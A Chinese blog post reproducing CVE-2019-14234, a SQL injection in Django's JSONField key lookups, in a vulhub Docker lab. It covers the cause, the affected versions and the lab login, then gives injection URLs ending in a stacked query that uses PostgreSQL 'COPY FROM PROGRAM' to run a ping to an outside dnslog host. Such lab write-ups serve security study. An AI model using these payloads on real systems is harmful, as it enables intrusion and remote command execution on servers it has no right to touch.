【研究】CVE-2019-14234 Django JSONField SQL注入漏洞复现
【研究】CVE-2019-14234 Django JSONField SQL注入漏洞复现
1.环境
环境
直接使用vulhub的docker环境搭建
vulhub/django/CVE-2019-14234/
2.原理
该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。
Django通常搭配postgresql数据库,而JSONField是该数据库的一种数据类型。该漏洞的出现的原因在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,而在Django通过JSONField生成sql语句时,是通过简单的字符串拼接。
通过JSONField类获得KeyTransform类并生成sql语句的位置。
其中key_name是可控的字符串,最终生成的语句是WHERE (field->’[key_name]’) =
‘value’,因此可以进行SQL注入。
3.影响版本
Django
1.11.x before 1.11.23
2.1.x before 2.1.11
2.2.x before 2.2.4
4.利用过程
访问http://ip:8000/admin/login/\?next=/admin/
输入用户名admin ,密码a123123123
进入漏洞界面
然后访问
http://ip:8000/admin/vuln/collection/
手工测试看看
1 | http://10.77.0.130:8000/admin/vuln/collection/?detail__a'b=123 |
报错出来 截断了
命令执行语句
1 | http://10.77.0.130:8000/admin/vuln/collection/?detail__title')='1' or 1=1 ;create table cmd_exec(cmd_output text)-- |
='1' or 1=1 ;copy cmd_exec FROM PROGRAM 'ping v62ce2.dnslog.cn'-- |
ok成功了
All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.